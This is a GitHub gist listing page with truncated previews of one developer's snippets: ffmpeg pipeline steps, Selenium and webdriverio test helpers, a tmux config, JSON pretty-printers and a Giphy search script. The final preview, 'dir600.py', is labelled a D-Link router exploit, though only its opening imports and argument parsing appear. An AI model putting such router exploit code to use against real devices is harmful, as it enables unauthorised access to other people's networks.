Skip to content

Instantly share code, notes, and snippets.

@eyalzek
eyalzek / pipeline
Created September 7, 2014 08:04
windows pipeline
1. Install ffmpeg.
2. Add UnixUtils to path (http://unxutils.sourceforge.net/ both the bin/ and usr/local/wbin/ folders).
2. Create a directory and put inside a sample video file.
3. Create an empty video file in the same dir: touch interm.avi
4. Run the following pipe in one cmd prompt:
tail -f interm.avi | ffmpeg -y -i - -c:v libx264 -c:a libfaac encoded.avi
@eyalzek
eyalzek / wait_for_visibility
Last active August 29, 2015 14:11
Wait for visibility function for selenium - focus on element if not in viewport (py)
def wait_for_visibility(self, selector, timeout_seconds=5):
retries = timeout_seconds
pause_interval = 2
while retries:
try:
element = self.driver.find_element_by_css_selector(selector)
if element.is_displayed():
return element
elif "visible" in element.value_of_css_property("visibility"):
print("trying to focus on element")
@eyalzek
eyalzek / .tmux.conf
Last active August 29, 2015 14:12
tmux config, should go in your home dir
# Set the prefix to ^A.
unbind-key C-b
set -g prefix C-a
bind a send-prefix
# Turn mouse mode operations on
set -g mode-mouse on
set -g mouse-resize-pane on
set -g mouse-select-pane on
set -g mouse-select-window on
@eyalzek
eyalzek / imgcmp.py
Last active August 29, 2015 14:14 — forked from attilaolah/imgcmp.py
Changed from source to compare only the first arg to the rest instead of cross comparing all args.
import math
import Image
import Levenshtein
class BWImageCompare(object):
"""Compares two images (b/w)."""
_pixel = 255
@eyalzek
eyalzek / editable-json
Last active August 29, 2015 14:16
Pretty print nested json with optional collapsible rows and methods for getting and setting to the original json object.
function jsonToHtml(json) {
console.log('complete json', _.keys(json));
$('.json-container').append('{');
_.each(_.keys(json), function(key, index) {
$('.json-container').append(createBlock(key, json[key]));
});
$('.json-container').append('}');
}
function createBlock(key, value, ids) {
@eyalzek
eyalzek / PrettyJSON
Created March 5, 2015 14:30
Pretty print JSON (taken from stackoverflow) and an added save method
function syntaxHighlight(json) {
json = json.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
var key;
json = json.replace(/("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)/g, function (match) {
var cls = 'number';
if (/^"/.test(match)) {
if (/:$/.test(match)) {
cls = 'key';
key = match;
} else {
#!/usr/bin/env ruby -wKU
require 'net/http'
require 'json'
require 'launchy'
def main(query)
uri = URI('http://api.giphy.com/v1/gifs/search')
params = {q: query, api_key: 'dc6zaTOxFJmzC'}
uri.query = URI.encode_www_form(params)
@eyalzek
eyalzek / testme.js
Last active August 29, 2015 14:27
webdriverio + mocha issue
// run with: ./node_modules/.bin/mocha --timeout 99999 testme.js
var webdriverio = require('webdriverio'),
mocha = require('mocha'),
url = "http://google.com";
var client = webdriverio.remote(
{
desiredCapabilities: {browserName: 'chrome'}
}
);
// run with: TEST_ENV=prod2 ./node_modules/.bin/mocha --timeout 99999 simplified.js
var webdriverio = require('webdriverio'),
mocha = require('mocha'),
assert = require('assert'),
q = require('q'),
env = process.env.TEST_ENV,
url = env ? 'https://' + env + '-env.showbox.com/workspace.html' : 'https://showbox.com/workspace.html';
var client = webdriverio.remote(
{
@eyalzek
eyalzek / dir600.py
Created August 30, 2015 14:52
Dlink router exploit
#!/usr/bin/env python
# from: http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
import sys
import urllib2
import httplib
try:
ip_port = sys.argv[1].split(':')
ip = ip_port[0]